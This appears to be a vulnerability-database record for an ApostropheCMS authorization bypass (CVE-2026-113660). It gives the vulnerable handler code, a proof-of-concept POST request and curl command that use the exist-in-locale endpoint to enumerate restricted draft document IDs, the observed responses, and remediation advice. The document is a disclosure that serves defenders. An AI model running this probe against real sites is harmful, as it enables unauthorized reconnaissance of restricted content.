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Response snapshot Oct 27, 2026, 05:12 UTC

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VulnerabilityCVE-2026-113660

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

**Summary** ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode.

At a glance

Exploited
Not known
Severity
4.3 Medium (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-vmxh-77cw-65j7 (opens a new tab)

What happened

**Summary** ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

**Details** Exact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529` Exact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale` The handler verifies only that the requester is authenticated:

``` if (!req.user) { throw self.apos.error('notfound'); } ``` It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

Continue reading

``` const found = await self.apos.doc.db.find({ aposLocale: `${locale}:${mode}`, aposDocId: { $in: ids.map(self.apos.doc.toAposDocId) } }).project({ _id: 1, aposDocId: 1 }).toArray(); ``` This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

**Proof of Concept**

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID: ``` wv2l4rbaplgzkg80zkne4aoz:en:draft wv2l4rbaplgzkg80zkne4aoz:fr:draft ``` All credentials and cookies are intentionally redacted below.

``` POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1 Host: 127.0.0.1:3000 Cookie: Content-Type: application/json Accept: application/json

{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" } ``` **Equivalent command** ``` curl -i -sS -X POST \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \ -b /path/to/redacted-guest-cookie-jar.

txt \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data-raw '{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" }' ``` **Observed response** ``` HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 ```

``` { "originalLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft" ], "newLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:fr:draft" ], "aposDocIds": [ "wv2l4rbaplgzkg80zkne4aoz" ] } ``` The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

**Authorization control** Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

``` GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1 Host: 127.0.0.1:3000 Cookie: Accept: application/json

```

**Observed response:** ``` HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 ``` ``` { "name": "forbidden", "data": {}, "message": "forbidden" }

``` This demonstrates the authorization boundary clearly:

| Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | `403 Forbidden` | | `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID | | `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays |

**Additional impact validation**

The behavior was also tested across multiple locale and mode combinations:

| Query | Result | | ----------------------------- | ---------------------------------------------------------- | | `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` | | `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed | | `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed | | Two IDs in one request | Existing ID returned; nonexistent ID omitted |

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance.

The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.

The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)

[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)

Affected package ranges reported by GitHub: apostrophe: < 4.33.0

Scores and how they were measured

CVSS base severity

4.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 29.9%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-vmxh-77cw-65j7 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113660, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 20). ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers (CVE-2026-113660). https://kevwire.com/record/CVE-2026-113660

MLA

"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers (CVE-2026-113660)." KEVWire, 20 Oct. 2026, kevwire.com/record/CVE-2026-113660.

Chicago

KEVWire. "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers (CVE-2026-113660)." Last modified October 20, 2026. https://kevwire.com/record/CVE-2026-113660.

Evidence summary (plain text)

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers (Oct 20, 2026).
**Summary**
ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.
CVSS 4.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vmxh-77cw-65j7).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-vmxh-77cw-65j7: https://github.com/advisories/GHSA-vmxh-77cw-65j7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-26
Record ID: CVE-2026-113660.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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